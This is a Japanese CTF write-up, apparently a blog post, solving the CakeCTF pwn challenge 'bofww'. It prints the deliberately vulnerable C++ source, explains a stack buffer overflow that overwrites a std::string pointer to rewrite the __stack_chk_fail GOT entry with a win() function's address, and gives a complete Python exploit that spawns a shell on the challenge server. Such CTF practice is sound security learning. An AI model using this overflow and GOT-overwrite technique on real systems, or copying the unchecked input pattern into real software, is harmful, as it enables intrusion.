最近 [alpacahack](http://alpacahack.com) という個人戦CTFのプラットフォームがリリースされたので、CakeCTFの過去問をやってみました。 ```c++ #include void win() { std::system("/bin/sh"); } void input_person(int& age, std::string& name) { int _age; char _name[0x100]; std::cout << "What is your first name? "; std::cin >> _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; } int main() { int age; std::string name; input_person(age, name); std::cout << "Information:" << std::endl << "Age: " << age << std::endl << "Name: " << name << std::endl; return 0; } __attribute__((constructor)) void setup(void) { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); } ``` # 脆弱性 input_person関数に脆弱性があります。`std::cin >> _name;`としていますが、`std::cin >> ` という書き方では長さのチェックがないので、string型ではない_nameに使ってしまうとバッファオーバーフローが起きます。 # 攻撃標準入力から受け取ったデータを\_nameに書き込んだあとに`name = _name`という処理をしています。ここでは、string型であるnameのデータ領域に_nameの内容を書き込んでいるので、nameのデータ領域へのポインタを改ざんして、GOT Overwriteを起こせば、win関数に処理を移せそうです。具体的には、main関数内のnameがinput_person内の_nameよりもアドレスが大きく、\_nameにはいくらでもデータを書き込めるので、nameのデータ領域へのポインタを\_\_stack_chk_failのGOTに書き換えます。そのときにデータの先頭にwin関数のアドレスをつけておけば、`name = _name`で\_\_stack_chk_failのGOTをwin関数のアドレスに書き換えることができます。いかが作成したエクスプロイトコードです。 ```python #!/usr/bin/env python import ptrlib as ptr import sys exe = ptr.ELF("./bofww") def connect(): if len(sys.argv) > 1 and sys.argv[1] == "remote": return ptr.Socket("34.170.146.252", 52457) else: return ptr.Process(exe.filepath) def main(): io = connect() __stack_chk_fail_got = 0x404050 win = 0x4012F6 pl = ptr.p64(win) pl = pl.ljust(0x130, b"A") pl += ptr.p64(__stack_chk_fail_got) io.sendlineafter("What is your first name? ", pl) io.sendlineafter("How old are you? ", b"1") io.sh() if __name__ == "__main__": main() ``` # 参考資料 c++問題を解くのが初めてだったのでptr-yudaiさんの[C++のpwn/revで使うSTLコンテナの構造とバグパターン一覧](https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732)という記事を使ってstd::stringなどについて勉強しました。わかりやすかったです。